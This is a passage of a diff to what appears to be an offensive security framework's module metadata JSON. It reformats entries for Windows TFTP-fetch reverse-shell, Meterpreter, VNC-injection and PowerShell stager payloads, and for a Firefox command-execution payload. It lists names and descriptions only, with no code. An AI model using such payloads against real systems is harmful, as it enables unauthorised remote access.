[ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240267,8 +213706,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240281,9 +213719,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_http": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240311,8 +213747,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240325,9 +213760,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_https": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240358,8 +213791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240372,9 +213804,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_named_pipe": { "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240402,8 +213832,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240416,9 +213845,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240446,8 +213873,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240460,9 +213886,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240494,8 +213918,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240508,9 +213931,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240538,8 +213959,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240552,9 +213972,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttp": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240582,8 +214000,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240596,9 +214013,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttps": { "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240626,8 +214041,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240640,9 +214054,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_bind_named_pipe": { "name": "TFTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240670,8 +214082,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240682,9 +214093,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_bind_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240711,8 +214120,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240723,9 +214131,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_http": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240752,8 +214158,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240764,9 +214169,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_https": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240793,8 +214196,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240805,9 +214207,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240834,8 +214234,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240846,9 +214245,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240875,8 +214272,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240887,9 +214283,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240915,8 +214309,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240929,9 +214322,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240958,8 +214349,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240972,9 +214362,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241000,8 +214388,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241014,9 +214401,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241042,8 +214427,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241056,9 +214440,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241089,8 +214471,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241103,9 +214484,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241132,8 +214511,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241146,9 +214524,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_named_pipe": { "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241174,8 +214550,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241188,9 +214563,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241216,8 +214589,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241230,9 +214602,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241263,8 +214633,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241277,9 +214646,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241306,8 +214673,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241320,9 +214686,7 @@ "payload_cmd/windows/tftp/x64/pingback_reverse_tcp": { "name": "TFTP Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/tftp/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241331,9 +214695,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241347,8 +214709,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241359,9 +214720,7 @@ "payload_cmd/windows/tftp/x64/powershell_bind_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/windows/tftp/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241388,8 +214747,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241400,9 +214758,7 @@ "payload_cmd/windows/tftp/x64/powershell_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241429,8 +214785,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241441,9 +214796,7 @@ "payload_cmd/windows/tftp/x64/powershell_reverse_tcp_ssl": { "name": "TFTP Fetch", "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241470,8 +214823,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241482,9 +214834,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241493,9 +214843,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241509,8 +214857,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241523,9 +214870,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241535,9 +214880,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241551,8 +214894,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241565,9 +214907,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241577,9 +214917,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241593,8 +214931,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241607,9 +214944,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241618,9 +214953,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241634,8 +214967,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241648,9 +214980,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_tcp_rc4": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241664,9 +214994,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241680,8 +215008,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241694,9 +215021,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241706,9 +215031,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241722,8 +215045,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241736,9 +215058,7 @@ "payload_cmd/windows/tftp/x64/shell/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241747,9 +215067,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241763,8 +215081,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241777,9 +215094,7 @@ "payload_cmd/windows/tftp/x64/shell/reverse_tcp_rc4": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241793,9 +215108,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241809,8 +215122,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241823,9 +215135,7 @@ "payload_cmd/windows/tftp/x64/shell/reverse_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241835,9 +215145,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241851,8 +215159,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241865,9 +215172,7 @@ "payload_cmd/windows/tftp/x64/shell_bind_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/tftp/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241876,9 +215181,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241892,8 +215195,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241904,9 +215206,7 @@ "payload_cmd/windows/tftp/x64/shell_reverse_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/tftp/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241915,9 +215215,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241931,8 +215229,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241943,9 +215240,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241971,8 +215266,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241985,9 +215279,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242014,8 +215306,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242028,9 +215319,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242057,8 +215346,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242071,9 +215359,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242099,8 +215385,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242113,9 +215398,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242146,8 +215429,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242160,9 +215442,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242189,8 +215469,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242203,9 +215482,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_http": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242232,8 +215509,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242246,9 +215522,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_https": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242277,8 +215551,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242291,9 +215564,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242319,8 +215590,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242333,9 +215603,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242366,8 +215634,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242380,9 +215647,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242409,8 +215674,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242423,9 +215687,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttp": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242452,8 +215714,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242466,9 +215727,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttps": { "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242495,8 +215754,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242509,9 +215767,7 @@ "payload_firefox/exec": { "name": "Firefox XPCOM Execute Command", "fullname": "payload/firefox/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242519,9 +215775,7 @@ "joev " ], "description": "This module runs a shell command on the 